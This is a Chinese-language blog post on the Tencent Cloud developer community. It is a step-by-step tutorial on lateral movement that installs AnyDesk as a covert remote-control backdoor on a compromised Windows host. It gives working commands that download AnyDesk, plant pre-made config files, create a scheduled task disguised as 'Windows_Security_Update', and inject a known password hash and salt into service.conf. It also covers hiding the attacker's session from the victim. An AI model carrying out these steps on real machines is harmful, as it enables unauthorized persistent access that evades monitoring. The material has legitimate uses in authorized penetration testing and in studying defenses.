首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透横向移动之使用AnyDesk远程控制

内网渗透横向移动之使用AnyDesk远程控制

原创
作者头像
Gh0st1nTheShel
修改2021-11-23 10:10:18
2.7K0
修改2021-11-23 10:10:18
举报
文章被收录于专栏:网络空间安全网络空间安全

**欢迎关注我的微信公众号《壳中之魂》**

Anydesk是类似teamviewer的远程管理软件,但是他不用安装且体积小

使用场景

  • 有云锁,护卫神等禁止3389登录时
  • 类似阿里云这种,登录3389会报警
  • 目标机器必须可以出网

注意事项

  • 启动anydesk的权限需要桌面用户权限,比如,IIS做中间件的环境中,拿到了webshell一般都是没有桌面用户权限的,如果启动anydesk不会成功
  • 启动anydesk时桌面不能被注销
  • 有可能连接上去是黑屏,这个是因为该桌面用户退出远程桌面但没有注销,此时,除非能用winlogon启动anydesk,否则没法使用屏幕

攻击

Windows

假使我们在windows上拿到目标的shell,为了方便模拟就上线了一个cs的shell

使用一些提权的powershell脚本,脚本弹出了一个新的cmd窗口,但是数据不通过cs,只能通过远程桌面操作,但是不能直接RDP

然后我们可以通过命令让目标下载anydesk

powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:\anydesk.exe") 

其实最好不要保存在c盘下,因为域用户没有足够的权限,所以最好是找到域用户有写权限的文件夹

可以看到我们已经将文件下载了下来(由于是模拟环境就随便点,真实环境下别下载到桌面)

但是不着急执行,原因是我们不知道目标的凭证,自然无法连接

打开自己本机的anydesk,会弹出一个窗口

可以发现,anydesk连接的方式并非是局域网,而是通过互联网,一断网就无法使用

所以我们必须知道目标的ID号才可以连接,所以我们可以在本地生成anydesk的用户配置文件,然后再上传到目标主机,这样不仅知道了目标anydesk的id号,而且使用的还是本地设置的密码

首先我们要记住自己的ID号

  • 819784857

然后设置访问密码

随便设置,自己知道就行了

应用后彻底退出anydesk,退出时不选择安装

生成的配置文件将会储存在

C:\Users\你的用户名\AppData\Roaming\AnyDesk

然后将四个文件保存下来,然后上传到目标的主机,上传完后把此处的配置文件全部删除,目的是让anydesk生成一个新的配置

由于我们还没有在目标主机打开过anydesk,所以要自己新建一个AnyDesk文件夹,然后将文件复制进去

拓展:

这几步不是必须,按需操作

连接前可以设置连接的用户名,如果不设置,就会用当前的用户名

有可能会暴露身份

然后通过cs远程执行anydesk,然后在攻击机远程连接

输入刚才设置的密码

成功连接

如果有管理员权限,可以开启“禁止用户输入”、“启用隐私模式”,否则对方就可以看得到攻击方的鼠标

Linux

假使我们只能通过linux拿到目标的shell,就无法像之前那样通过生成配置文件然后拷贝过去,所以我们就只能对配置文件进行修改

为了方便模拟我上线了一个msf的shell

首先我们要让目标下载anydesk,方法和之前一样

powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:\anydesk.exe") 

下载完后我们要让其启动,可以直接执行,如果无法直接执行,可以使用计划任务执行,如果要使用计划任务,首先要知道当前用户是谁

powershell "(((Get-WmiObject -Class Win32_Process -Filter 'Name=\"explorer.exe\"').GetOwner().user) -split '\n')[0] 

确认好用户后就可以创建计划任务

schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:\Users\testuser.G1TS\Desktop\anydesk.exe" /RU Administrator 

然后执行计划任务

schtasks /run /tn Windows_Security_Update 

等过了几秒后,anydesk连接上服务器后再把进程杀死

tasklist
taskkill /f /pid 2692 

然后再添加密码到配置文件中(密码为AnyDeskGetAccess)

echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf
echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf

查看目标的ID

type C:\Users\用户名\AppData\Roaming\AnyDesk\system.conf 

然后让目标机器运行Anydesk,在连接即可

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档